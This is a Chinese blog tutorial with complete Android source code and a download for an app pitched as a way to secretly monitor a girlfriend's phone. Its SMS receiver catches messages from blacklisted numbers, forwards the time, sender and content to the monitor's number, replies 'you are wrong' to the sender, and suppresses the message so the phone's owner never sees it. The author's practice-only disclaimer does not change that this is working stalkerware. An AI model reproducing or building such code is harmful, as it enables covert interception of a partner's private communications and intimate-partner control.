- 浏览: 384605 次
- 性别:
- 来自: 深圳
文章分类
- 全部博客 (269)
- FY_UML (3)
- FY_JAVA (12)
- FY_JavaScript脚本 (7)
- FY_JSP (3)
- FY_Tapestry框架 (12)
- FY_Spring框架 (3)
- FY_Manager (5)
- FY_Junit(单元测试) (3)
- SERVER (14)
- FY_Struts2框架 (3)
- FY_SVN (2)
- FY_NoSQL (2)
- FY_jquery_sir (13)
- FY_hibernate_sir (8)
- FY_设计模式_sir (6)
- FY_Extjs_sir (10)
- FY_CI_sir (5)
- FY_Oracle_sir (11)
- FY_MySql_sir (10)
- FY_Hadoop_sir (3)
- FY_SOA_sir (1)
- 中文分词技术 (1)
- FY_Android (52)
- FY_架构 (2)
- FY_PhoneGap (2)
- FY_Webstorm (5)
- FY_Sencha Touch (3)
- HTML5应用快速开发 (1)
- FY_python (0)
- HADOOP (1)
- AI (0)
最新评论
-
antao592:
楼主,HkDataSourceWrapper中的getCurr ...
结合spring jdbc 实现分表分库的数据库访问构思 -
bonait:
不错,看看我的这个怎么样www.zipin168.com
So Easy京东商城 -
chenzheng8975:
...
So Easy京东商城 -
yzhenxing:
我导入demo后少com.google.android.gms ...
google地图demo -
echoaiya:
非常感谢~~
google地图demo
1.1 项目背景
监视女友手机(在此声明,这样做只是为了练习数据库、广播、Intent、Activity结合在一起的使用方法,且本人非常讨厌这种方式,感情需建立在坦诚与彼此尊重的基础之上),如果是熟悉且认识的人(白名单),女友可成功收发短信,如果是危险人士(黑名单)则收发短信息将发送到自己的手机里,以达到监控的目的,如下图所示
1.2 完整代码
① 新建工程(com.kawa.smsfilter)
② 修改AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.kawa.smsfilter" android:versionCode="1" android:versionName="1.0"> <uses-sdk android:minSdkVersion="8" /> <!-- 收短信 --> <uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission> <!-- 发短信 --> <uses-permission android:name="android.permission.SEND_SMS"></uses-permission> <!-- 读取联系人 --> <uses-permission android:name="android.permission.READ_CONTACTS"></uses-permission>
<application android:icon="@drawable/icon" android:label="@string/app_name"> <activity android:name=".MainActivity" android:label="@string/app_name"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <!-- 注册短信广播 --> <receiver android:name=".receiver.SmsReceiver"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"></action> </intent-filter> </receiver> <activity android:name=".activity.SmsBlackNameActivity"></activity> <activity android:name=".activity.SmsWhiteNameActivity"></activity> <activity android:name=".activity.SmsSetMoreActivity"></activity> </application> </manifest> |
----------------------------------------------Layout-------------------------------------------------
③ 新增Layout,main.xml(桌面菜单)
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="fill_parent" android:background="@drawable/sms_bg" android:orientation="vertical" > <include layout="@layout/title" > </include> <!-- 菜单 --> <GridView android:id="@+id/neirong" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="8px" android:columnWidth="90px" android:gravity="center" android:horizontalSpacing="10dp" android:numColumns="auto_fit" android:stretchMode="columnWidth" android:verticalSpacing="10dp" > </GridView> </LinearLayout> |
④ 新增Item,menu_item.xml(桌面菜单列表选项)
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" > <ImageView android:id="@+id/tubiao" android:layout_width="80px" android:layout_height="80px" android:src="@drawable/icon" > </ImageView> <TextView android:id="@+id/biaoti" android:layout_width="80px" android:layout_height="30px" android:gravity="center_horizontal" android:text="TextView" android:textColor="@color/black" > </TextView> </LinearLayout> |
⑤ 新增Include,title.xml(公用的顶部布局)
<?xml version="1.0" encoding="utf-8"?> <!-- 标题 --> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="45dip" > <TextView android:id="@+id/title_top" android:layout_width="fill_parent" android:layout_height="fill_parent" android:background="@drawable/title_bg" android:gravity="center" android:textColor="@color/white" android:textSize="20sp" > </TextView> </LinearLayout> |
⑥ 新增Layout,act_settings.xml(设置黑白名单与自己的电话号码)
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="fill_parent" android:background="@drawable/sms_bg" android:orientation="vertical" > <!-- 标题 --> <include layout="@layout/title" /> <!-- 表格布局 --> <TableLayout android:id="@+id/tableLayout1" android:layout_width="fill_parent" android:layout_height="150px" android:layout_marginTop="10px" > <!-- 添加黑名单 --> <TableRow android:id="@+id/tableRow1" android:layout_width="290px" android:layout_height="45px" android:layout_marginLeft="5px" android:background="@drawable/tablerow_top_nosharep" > <TextView android:id="@+id/textView1" android:layout_width="180px" android:layout_height="45px" android:layout_marginLeft="10px" android:gravity="center_vertical" android:text="@string/addBlack" android:textColor="@color/black" android:textSize="18sp" > </TextView> </TableRow> <!-- 添加白名单 --> <TableRow android:id="@+id/tableRow2" android:layout_width="290px" android:layout_height="45px" android:layout_marginLeft="5px" android:background="@drawable/tablerow_sharep" > <TextView android:id="@+id/textView2" android:layout_width="180px" android:layout_height="45px" android:layout_marginLeft="10px" android:gravity="center_vertical" android:text="@string/addWhite" android:textColor="@color/black" android:textSize="18sp" > </TextView> </TableRow> <!-- 修改转发号码 --> <TableRow android:id="@+id/tableRow3" android:layout_width="290px" android:layout_height="45px" android:layout_marginLeft="5px" android:background="@drawable/tablerow_bottom_nosharep" > <TextView android:id="@+id/textView3" android:layout_width="180px" android:layout_height="45px" android:layout_marginLeft="10px" android:gravity="center_vertical" android:text="@string/updateSendTo" android:textColor="@color/black" android:textSize="18sp" > </TextView> </TableRow> </TableLayout> <!-- 退出短信拦截 --> <Button android:id="@+id/ext" android:layout_width="300px" android:layout_height="40px" android:layout_gravity="center_horizontal" android:background="#FF7F00" android:gravity="center" android:text="@string/ext" > </Button> </LinearLayout> |
⑦ 新增Layout,act_blackandwhite_names.xml(显示黑/白名单)
<?xml version="1.0" encoding="utf-8"?> <!-- 黑白名单 --> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="fill_parent" android:background="@drawable/sms_bg" android:orientation="vertical" > <include layout="@layout/title" > </include> <ListView android:id="@+id/blackList" android:layout_width="fill_parent" android:layout_height="wrap_content" > </ListView> </LinearLayout> |
⑧ 新增Item,blackandwhite_names_item.xml(黑/白名单列表选项)
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="horizontal" > <TextView android:id="@+id/blackItem" android:layout_width="260px" android:layout_height="40px" android:layout_marginLeft="20px" android:text="TextView" > </TextView> <ImageView android:id="@+id/dele" android:layout_width="40px" android:layout_height="40px" android:background="@drawable/android_home_search_clean" android:src="@drawable/android_home_search_clean" > </ImageView> </LinearLayout> |
----------------------------------------------Activity-------------------------------------------------
⑨ 新增Activity,SmsBlackNameActivity.java显示黑名单
package com.kawa.smsfilter.activity; import java.util.ArrayList; import java.util.List; import android.app.Activity; import android.app.AlertDialog; import android.app.AlertDialog.Builder; import android.content.DialogInterface; import android.content.DialogInterface.OnClickListener; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import android.os.Bundle; import android.view.View; import android.widget.AdapterView; import android.widget.AdapterView.OnItemClickListener; import android.widget.ListView; import android.widget.TextView; import com.kawa.smsfilter.R; import com.kawa.smsfilter.adapter.SmsBlackNameAdapter; import com.kawa.smsfilter.utils.DBHelper; import com.kawa.smsfilter.utils.DataConstant; /** * * 项目名称:SmsFilter * 类名称:SmsBlackNameActivity * 类描述: 黑名单 * 创建人:crq * 修改人:fy * 创建时间:2012-10-23 上午9:19:29 * Copyright (c) 方勇-版权所有 */ public class SmsBlackNameActivity extends Activity { /* 黑名单视图 */ private ListView blackNames; /* 黑名单数据 */ private List<String> data; private DBHelper dbHelper; private SQLiteDatabase db; private TextView title;
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.act_blackandwhite_names); dbHelper = new DBHelper(this); db = dbHelper.getWritableDatabase(); initViews(); setListeners(); setTitle(); setAdapter(); }
// 初始化控件 protected void initViews() { this.blackNames = (ListView) this.findViewById(R.id.blackList); this.title = (TextView) findViewById(R.id.title_top); }
// 绑定Adapter protected void setAdapter() { blackNames.setAdapter(new SmsBlackNameAdapter(this, getData())); }
// 设置标题 protected void setTitle() { title.setText("黑名单"); }
// 获取黑名单 private List<String> getData() { data = new ArrayList<String>(); String sql = "select * from " + DataConstant.Contact.CONTACT_TABLE_NAME + " where " + DataConstant.Contact.CONTACT_BLACK + "=" + DataConstant.BLACK; Cursor cursor = db.rawQuery(sql, null); while (cursor.moveToNext()) { data.add(cursor.getString(cursor. getColumnIndex(DataConstant.Contact.CONTACT_NUM))); } return data; }
// 绑定监听 protected void setListeners() { blackNames.setOnItemClickListener(itemListener); }
// 点击选项 protected OnItemClickListener itemListener = new OnItemClickListener() { public void onItemClick(AdapterView<?> arg0, View arg1, int arg2, long arg3) { AlertDialog.Builder builder = new Builder(SmsBlackNameActivity.this); final String num = data.get(arg2); builder.setTitle("温馨提示"); builder.setMessage("将号码 " + num + " 从黑名单中移除?"); builder.setPositiveButton("确定", new OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { String sql = "update " + DataConstant.Contact. CONTACT_TABLE_NAME + " set " + DataConstant.Contact.CONTACT_BLACK + "=" + DataConstant.WHITE + " where " + DataConstant.Contact.CONTACT_NUM + "=" + num; db.beginTransaction();// 开始事务 db.execSQL(sql); db.setTransactionSuccessful(); db.endTransaction();// 结束事务 SmsBlackNameActivity.this.setAdapter();// 重载视图 } }); builder.setNegativeButton("取消", new OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { dialog.dismiss(); } }); builder.create().show(); } }; } |
⑩ 新增Activity,SmsWhiteNameActivity.java显示白名单
package com.kawa.smsfilter.activity; import java.util.ArrayList; import java.util.List; import android.app.Activity; import android.app.AlertDialog; import android.app.AlertDialog.Builder; import android.content.DialogInterface; import android.content.DialogInterface.OnClickListener; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import android.os.Bundle; import android.view.View; import android.widget.AdapterView; import android.widget.ListView; import android.widget.TextView; import android.widget.AdapterView.OnItemClickListener; import com.kawa.smsfilter.R; import com.kawa.smsfilter.adapter.SmsBlackNameAdapter; import com.kawa.smsfilter.utils.DBHelper; import com.kawa.smsfilter.utils.DataConstant; /** * * 项目名称:SmsFilter * 类名称:SmsWhiteNameActivity * 类描述: 白名单 * 创建人:crq * 修改人:fy * 创建时间:2012-10-23 上午9:20:24 * Copyright (c) 方勇-版权所有 */ public class SmsWhiteNameActivity extends Activity{
private ListView whiteNames; private List<String> data; private TextView title; private DBHelper dbHelper; private SQLiteDatabase db; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.act_blackandwhite_names); dbHelper = new DBHelper(this); db = dbHelper.getWritableDatabase(); initViews(); setTitle(); setAdapter(); setListeners(); }
// 初始化控件 protected void initViews() { this.whiteNames = (ListView) this.findViewById(R.id.blackList); this.title=(TextView) findViewById(R.id.title_top); }
//绑定Adapter protected void setAdapter(){ whiteNames.setAdapter(new SmsBlackNameAdapter(this, getData())); }
//设置标题 protected void setTitle(){ title.setText("白名单"); }
//绑定监听 protected void setListeners(){ whiteNames.setOnItemClickListener(itemListener); }
//获取白名单 private List<String> getData() { data = new ArrayList<String>(); String sql = "select * from " + DataConstant.Contact.CONTACT_TABLE_NAME + " where " + DataConstant.Contact.CONTACT_BLACK + "=" + DataConstant.WHITE; Cursor cursor=db.rawQuery(sql, null); while(cursor.moveToNext()){ data.add(cursor.getString(cursor.getColumnIndex( DataConstant.Contact.CONTACT_NUM))); } return data; }
//点击选项 protected OnItemClickListener itemListener=new OnItemClickListener() { public void onItemClick(AdapterView<?> arg0, View arg1, int arg2, long arg3) { AlertDialog.Builder builder=new Builder(SmsWhiteNameActivity.this); final String num=data.get(arg2); builder.setTitle("温馨提示"); builder.setMessage("将号码 "+num+" 添加到黑名单?"); builder.setPositiveButton("确定", new OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { String sql = "update " + DataConstant.Contact.CONTACT_TABLE_NAME + " set " + DataConstant.Contact.CONTACT_BLACK + "=" + DataConstant.BLACK + " where " + DataConstant.Contact.CONTACT_NUM + "=" + num; db.beginTransaction(); db.execSQL(sql); db.setTransactionSuccessful(); db.endTransaction(); SmsWhiteNameActivity.this.setAdapter(); } }); builder.setNegativeButton("取消", new OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { dialog.dismiss(); } }); builder.create().show(); } }; } |
11 新增Activity,SmsSetMoreActivity.java增加黑白名单与自己的电话号码
package com.kawa.smsfilter.activity; import java.util.ArrayList; import java.util.List; import android.app.Activity; import android.app.AlertDialog; import android.app.AlertDialog.Builder; import android.content.DialogInterface; import android.content.Intent; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import android.os.Bundle; import android.text.InputType; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.TableRow; import android.widget.TextView; import android.widget.Toast; import com.kawa.smsfilter.MainActivity; import com.kawa.smsfilter.R; import com.kawa.smsfilter.utils.DBHelper; import com.kawa.smsfilter.utils.DataConstant; /** * * 项目名称:SmsFilter * 类名称:SmsSetMoreActivity * 类描述: 设置 * 创建人:crq * 修改人:fy * 创建时间:2012-10-23 上午9:20:01 * Copyright (c) 方勇-版权所有 */ public class SmsSetMoreActivity extends Activity { private TextView title; private Button ext; private TableRow addBlack; private TableRow addWhite; private TableRow updataSend; private DBHelper helper; private SQLiteDatabase db; private EditText input;// 输入的号码
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.act_settings); helper = new DBHelper(this); db = helper.getWritableDatabase(); initViews(); setData(); setListener(); }
// 初始化控件 protected void initViews() { this.title = (TextView) findViewById(R.id.title_top); this.ext = (Button) this.findViewById(R.id.ext); this.addBlack = (TableRow) this.findViewById(R.id.tableRow1); this.addWhite = (TableRow) this.findViewById(R.id.tableRow2); this.updataSend = (TableRow) this.findViewById(R.id.tableRow3); }
// 设定数值 protected void setData() { title.setText("设置"); }
// 点击监听 private View.OnClickListener listeners = new View.OnClickListener() { public void onClick(View v) { switch (v.getId()) { // 添加黑名单 case R.id.tableRow1: addBlackMethod(); break; // 添加白名单 case R.id.tableRow2: addWhiteMethod(); break; // 修改转发号码 case R.id.tableRow3: updateSentMethod(); break; // 退出短信拦截 case R.id.ext: extApp(); break; } } };
// 绑定监听 protected void setListener() { addBlack.setOnClickListener(listeners); addWhite.setOnClickListener(listeners); updataSend.setOnClickListener(listeners); ext.setOnClickListener(listeners); }
// 添加黑名单 private void addBlackMethod() { AlertDialog.Builder builder = new Builder(SmsSetMoreActivity.this); builder.setTitle("温馨提示"); input = new EditText(SmsSetMoreActivity.this); input.setHint("请输入黑名单号码"); // 只能输入数字 input.setInputType(InputType.TYPE_CLASS_NUMBER); builder.setView(input); builder.setPositiveButton("确定", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { String queryStr = "select * from " + DataConstant.Contact.CONTACT_TABLE_NAME + " where " + DataConstant.Contact.CONTACT_BLACK + "=" + DataConstant.BLACK; Cursor cursor = db.rawQuery(queryStr, null); List<String> nums = new ArrayList<String>(); while (cursor.moveToNext()) { nums.add(cursor.getString(cursor.getColumnIndex( DataConstant.Contact.CONTACT_NUM))); } boolean isRet = false; String inputNum = input.getText().toString(); if (nums != null && nums.size() > 0) { for (int i = 0; i < nums.size(); i++) { if (nums.get(i).equals(inputNum)) { isRet = true; break; } } } if (isRet) { Toast.makeText(SmsSetMoreActivity.this, "该号码已经是黑名单! ", 4000).show(); } else { String sql = "insert into " + DataConstant.Contact.CONTACT_TABLE_NAME + " (" + DataConstant.Contact.CONTACT_NUM + "," + DataConstant.Contact.CONTACT_BLACK + ") values (?," + DataConstant.BLACK + ")"; db.beginTransaction(); db.execSQL(sql, new String[] { inputNum }); db.setTransactionSuccessful(); db.endTransaction(); Toast.makeText(SmsSetMoreActivity.this, "添加黑名单成功!", 4000).show(); Intent intent = new Intent(SmsSetMoreActivity.this, SmsBlackNameActivity.class); SmsSetMoreActivity.this.startActivity(intent); } } }); builder.setNegativeButton("取消", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { dialog.dismiss(); } }); builder.create().show(); }
// 添加白名单 private void addWhiteMethod() { AlertDialog.Builder builder = new Builder(SmsSetMoreActivity.this); builder.setTitle("温馨提示"); input = new EditText(SmsSetMoreActivity.this); input.setHint("请输入白名单号码"); // 只能输入数字 input.setInputType(InputType.TYPE_CLASS_NUMBER); builder.setView(input); builder.setPositiveButton("确定", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { String queryStr = "select * from " + DataConstant.Contact.CONTACT_TABLE_NAME + " where " + DataConstant.Contact.CONTACT_BLACK + "=" + DataConstant.WHITE; Cursor cursor = db.rawQuery(queryStr, null); List<String> nums = new ArrayList<String>(); while (cursor.moveToNext()) { nums.add(cursor.getString(cursor.getColumnIndex( DataConstant.Contact.CONTACT_NUM))); } boolean isRet = false; String inputNum = input.getText().toString(); if (nums != null && nums.size() > 0) { for (int i = 0; i < nums.size(); i++) { if (nums.get(i).equals(inputNum)) { isRet = true; break; } } } if (isRet) { Toast.makeText(SmsSetMoreActivity.this, "该号码已经是白名单!", 4000).show(); } else { String sql = "insert into " + DataConstant. Contact.CONTACT_TABLE_NAME + " (" + DataConstant.Contact.CONTACT_NUM + "," + DataConstant.Contact.CONTACT_BLACK + ") values (?," + DataConstant.WHITE + ")"; db.beginTransaction(); db.execSQL(sql, new String[] { inputNum }); db.setTransactionSuccessful(); db.endTransaction(); Toast.makeText(SmsSetMoreActivity.this, "添加白名单成功!", 4000).show(); Intent intent = new Intent(SmsSetMoreActivity.this, SmsWhiteNameActivity.class); SmsSetMoreActivity.this.startActivity(intent); } } }); builder.setNegativeButton("取消", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { dialog.dismiss(); } }); builder.create().show(); }
// 修改转发号码 private void updateSentMethod() { AlertDialog.Builder builder = new Builder(SmsSetMoreActivity.this); builder.setTitle("温馨提示"); input = new EditText(SmsSetMoreActivity.this); input.setHint("请输入转发号码"); // 只能输入数字 input.setInputType(InputType.TYPE_CLASS_NUMBER); builder.setView(input); builder.setPositiveButton("确定", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { String queryStr = "select * from " + DataConstant.Contact.CONTACT_TABLE_NAME + " where " + DataConstant.Contact.CONTACT_BLACK + "=" + DataConstant.WHITE; Cursor cursor = db.rawQuery(queryStr, null); List<String> nums = new ArrayList<String>(); while (cursor.moveToNext()) { nums.add(cursor.getString(cursor.getColumnIndex( DataConstant.Contact.CONTACT_NUM))); } boolean isRet = false; String inputNum = input.getText().toString(); if (nums != null && nums.size() > 0) { for (int i = 0; i < nums.size(); i++) { if (nums.get(i).equals(inputNum)) { isRet = true; break; } } } if (isRet) { String sql = "update " + DataConstant.SendTo.SENDTO_TABLE_NAME + " set " + DataConstant.SendTo.SENDTO_NUM + " =? where " + DataConstant.SendTo.SENDTO_NUM + " = ?"; db.beginTransaction(); db.execSQL(sql, new String[] { inputNum, nums.get(0) }); db.setTransactionSuccessful(); db.endTransaction(); Toast.makeText(SmsSetMoreActivity.this, "修改转发号码成功!", 4000).show(); } else { String sql = "insert into " + DataConstant.SendTo.SENDTO_TABLE_NAME + " (" + DataConstant.SendTo.SENDTO_NUM + ") values (?)"; db.beginTransaction(); db.execSQL(sql, new String[] { inputNum }); db.setTransactionSuccessful(); db.endTransaction(); Toast.makeText(SmsSetMoreActivity.this, "添加转发号码成功!", 4000).show(); } Intent intent = new Intent(SmsSetMoreActivity.this, MainActivity.class); SmsSetMoreActivity.this.startActivity(intent); } }); builder.setNegativeButton("取消", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { dialog.dismiss(); } }); builder.create().show(); }
// 退出短信拦截 private void extApp() { AlertDialog.Builder builder = new Builder(SmsSetMoreActivity.this); builder.setTitle("温馨提示"); builder.setMessage("您确定要退出吗?退出将不能拦截短信!"); builder.setPositiveButton("确定", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { System.exit(0); } }); builder.setNegativeButton("取消", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { dialog.dismiss(); } }); builder.create().show(); } } |
----------------------------------------------Adapter-----------------------------------------------
12 新增Adapter,SmsBlackNameAdapter.java自定义黑名单适配器
package com.kawa.smsfilter.adapter; import java.util.List; import com.kawa.smsfilter.R; import android.content.Context; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.BaseAdapter; import android.widget.ImageView; import android.widget.TextView; /** * * 项目名称:SmsFilter * 类名称:SmsBlackNameAdapter * 类描述: 自定义短信黑名单适配器,为黑名单ListView提供数据 * 创建人:crq * 修改人:fy * 创建时间:2012-10-22 下午4:49:11 * Copyright (c) 方勇-版权所有 */ public class SmsBlackNameAdapter extends BaseAdapter { /* 上下文 */ private Context context; /* 黑名單列表 */ private List<String> data; /* 布局管理对象 */ private LayoutInflater inflater;
public SmsBlackNameAdapter(Context context, List<String> data) { super(); this.context = context; this.data = data; inflater = LayoutInflater.from(context); }
/* 黑名单条数 */ @Override public int getCount() { return data.size(); }
/* 某一条黑名单 */ @Override public Object getItem(int arg0) { return data.get(arg0); }
/* 黑名单ID */ @Override public long getItemId(int arg0) { return arg0; }
/* 返回填充黑名单数据后的视图 */ @Override public View getView(final int position, View convertView, ViewGroup parent) { ViewHolder holder = null; if (convertView == null) {//第一次加载黑名单 holder = new ViewHolder(); convertView = inflater.inflate(R.layout.blackandwhite_names_item, null); holder.names = (TextView) convertView.findViewById(R.id.blackItem); holder.dele = (ImageView) convertView.findViewById(R.id.dele); convertView.setTag(holder); } else {//非第一次加载黑名单 holder = (ViewHolder) convertView.getTag(); } convertView.setBackgroundColor(R.color.black); holder.names.setText(data.get(position));//更新电话号码 return convertView; }
/* 内存结构的黑名单,缓存处理,提升性能 */ class ViewHolder { TextView names;// 电话号码 ImageView dele;// 删除图片 } } |
13 新增Adapter,SmsMenuAdapter.java自定义桌面菜单适配器
package com.kawa.smsfilter.adapter; import java.util.List; import java.util.Map; import com.kawa.smsfilter.R; import android.content.Context; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.BaseAdapter; import android.widget.ImageView; import android.widget.TextView; /** * * 项目名称:SmsFilter * 类名称:SmsMenuAdapter * 类描述: 自定义首页桌面菜单适配器 * 创建人:crq * 修改人:fy * 创建时间:2012-10-23 上午10:58:17 * Copyright (c) 方勇-版权所有 */ public class SmsMenuAdapter extends BaseAdapter { /* 上下文 */ private Context context; /* GridView适配数据 */ private List<Map<String, Object>> data; /* 布局管理对象 */ private LayoutInflater inflater;
public SmsMenuAdapter(Context context, List<Map<String, Object>> data) { super(); this.context = context; this.data = data; inflater = LayoutInflater.from(context); }
/* 桌面菜单个数 */ @Override public int getCount() { return data.size(); }
/* 某一个桌面菜单 */ @Override public Object getItem(int position) { return data.get(position); }
/* 桌面菜单ID */ @Override public long getItemId(int position) { return position; }
/* 返回填充桌面菜单数据后的视图 */ @Override public View getView(int position, View convertView, ViewGroup parent) { ViewHolder holder = null; if (convertView == null) {// 第一次加载桌面菜单 holder = new ViewHolder(); convertView = inflater.inflate(R.layout.menu_item, null); holder.img_icon = (ImageView) convertView.findViewById(R.id.tubiao); holder.view_short = (TextView) convertView.findViewById(R.id.biaoti); convertView.setTag(holder); } else {// 非第一次加载桌面菜单 holder = (ViewHolder) convertView.getTag(); } holder.img_icon.setImageResource(Integer.parseInt(data.get(position). get("tubiao").toString())); holder.view_short.setText(data.get(position).get("biaoti").toString()); return convertView; }
/* 内存结构的菜单,缓存处理,提升性能 */ class ViewHolder { ImageView img_icon;// 图标 TextView view_short;// 图标描述 } } |
----------------------------------------------BroadcastReceiver------------------------------------
14 新增BroadcastReceiver,SmsReceiver.java短信广播
package com.kawa.smsfilter.receiver; import java.sql.Date; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.List; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import android.os.Bundle; import android.telephony.SmsManager; import android.telephony.SmsMessage; import android.util.Log; import com.kawa.smsfilter.utils.DBHelper; import com.kawa.smsfilter.utils.DataConstant; /** * * 项目名称:SmsFilter * 类名称:SmsReceiver * 类描述:短信广播 * 创建人:crq * 修改人:fy * 创建时间:2012-10-22 下午4:26:30 * Copyright (c) 方勇-版权所有 */ public class SmsReceiver extends BroadcastReceiver {
private final String TAG = "kawa"; /* 黑名单列表 */ private List<String> blackList;
@Override public void onReceive(Context arg0, Intent arg1) { blackList = getBlackData(arg0);// 黑名单列表 Log.v(TAG, "终于拦截了-------->" + blackList.size()); Bundle bundle = arg1.getExtras();// 广播数据 if (bundle != null && bundle.size() > 0) {// 收到感兴趣的广播数据 Object[] objs = (Object[]) bundle.get("pdus");// 得到由短信内容组成 for (Object object : objs) { SmsMessage mess = SmsMessage.createFromPdu((byte[]) object); /* 短信内容 */ String message = mess.getMessageBody(); /* 提取电话号码 */ String telephoneNum = mess.getDisplayOriginatingAddress(); for (int i = 0; i < blackList.size(); i++) { /* 如果是黑名单 */ if (telephoneNum.equals(blackList.get(i))) { /* 接收人电话号码 */ String sendTo = getSento(arg0); SmsManager smsManager = SmsManager.getDefault(); Date date = new Date(mess.getTimestampMillis()); SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String sendTime = format.format(date); // 短信内容 String text = "time:" + sendTime + "\ntele:" + telephoneNum + "\ncontent:" + message; // 发送短信给监控人 smsManager.sendTextMessage(sendTo, null, text, null, null); // 发送短信给发件人 smsManager.sendTextMessage(telephoneNum, null, "you are wrong", null, null); this.abortBroadcast();// 中断广播 break; } } } } }
/* 获取黑名单 */ protected List<String> getBlackData(Context context) { blackList = new ArrayList<String>(); DBHelper dbHelper = new DBHelper(context); SQLiteDatabase db = dbHelper.getWritableDatabase(); String sql = "select * from " + DataConstant.Contact. CONTACT_TABLE_NAME + " where " + DataConstant.Contact.CONTACT_BLACK + "=" + DataConstant.BLACK; Cursor cursor = db.rawQuery(sql, null); while (cursor.moveToNext()) { blackList.add(cursor.getString(cursor.getColumnIndex(DataConstant. Contact.CONTACT_NUM))); } return blackList; }
/* 接收人电话号码 */ protected String getSento(Context context) { DBHelper dbHelper = new DBHelper(context); SQLiteDatabase db = dbHelper.getWritableDatabase(); String sql = "select * from " + DataConstant.SendTo.SENDTO_TABLE_NAME; Cursor cursor = db.rawQuery(sql, null); String sendTo = "15555215556"; while (cursor.moveToNext()) { sendTo = cursor.getString(cursor.getColumnIndex( DataConstant.SendTo.SENDTO_NUM)); } return sendTo; } } |
----------------------------------------------Util-------------------------------------------------
15 新增Util,DBHelper.java,数据库工具类
package com.kawa.smsfilter.utils; import android.content.Context; import android.database.sqlite.SQLiteDatabase; import android.database.sqlite.SQLiteOpenHelper; /** * * 项目名称:SmsFilter * 类名称:DBHelper * 类描述: 数据库工具类 * 创建人:crq * 修改人:fy * 创建时间:2012-10-22 下午4:11:53 * Copyright (c) 方勇-版权所有 */ public class DBHelper extends SQLiteOpenHelper {
public DBHelper(Context context) { super(context, DataConstant.DB_NAME, null, DataConstant.VERSOR); }
@Override public void onCreate(SQLiteDatabase db) { /* 创建联系人表 */ db.execSQL("create table IF NOT EXISTS " + DataConstant.Contact. CONTACT_TABLE_NAME + " (" + DataConstant.Contact._ID + " Integer primary key autoincrement," + DataConstant.Contact.CONTACT_NUM + " text," + DataConstant.Contact.CONTACT_BLACK + " real)"); /* 创建接收人表 */ db.execSQL("create table IF NOT EXISTS " + DataConstant.SendTo.SENDTO_TABLE_NAME + " (" + DataConstant.SendTo._ID + " Integer primary key autoincrement," + DataConstant.SendTo.SENDTO_NUM + " text)"); }
@Override public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) { } } |
16 新增Util,DataConstant.java,数据常量类
package com.kawa.smsfilter.utils; import android.provider.BaseColumns; /** * * 项目名称:SmsFilter * 类名称:DataConstant * 类描述: 常量数据 * 创建人:crq * 修改人:fy * 创建时间:2012-10-22 下午4:12:59 * Copyright (c) 方勇-版权所有 */ public class DataConstant { /* 数据库名 */ public static final String DB_NAME = "smsfilter.db"; /* 数据库版本 */ public static final int VERSOR = 1; /* 黑名单标识 */ public static final int BLACK = 1; /* 白名单标识 */ public static final int WHITE = 0;
/* 联系人结构体 */ public static final class Contact implements BaseColumns { /* 表名 */ public static final String CONTACT_TABLE_NAME = "contact"; /* 联系人电话 */ public static final String CONTACT_NUM = "num"; /* 联系人是否为黑名单 */ public static final String CONTACT_BLACK = "isBlack"; }
/* 发送信息结构体 */ public static final class SendTo implements BaseColumns { /* 表名 */ public static final String SENDTO_TABLE_NAME = "sendto"; /* 收信人电话 */ public static final String SENDTO_NUM = "num"; } } |
-------------------------结果-----------------------
17 结果
<!--EndFragment-->
- com.kawa.smsfilter.rar (328 KB)
- 下载次数: 97
发表评论
-
史上最快 Android N(安卓7.0)运行效率暴增至600%
2016-10-15 10:08 922谷歌I/O 2016开发者大会在公司总部正式拉开 ... -
So Easy京东商城
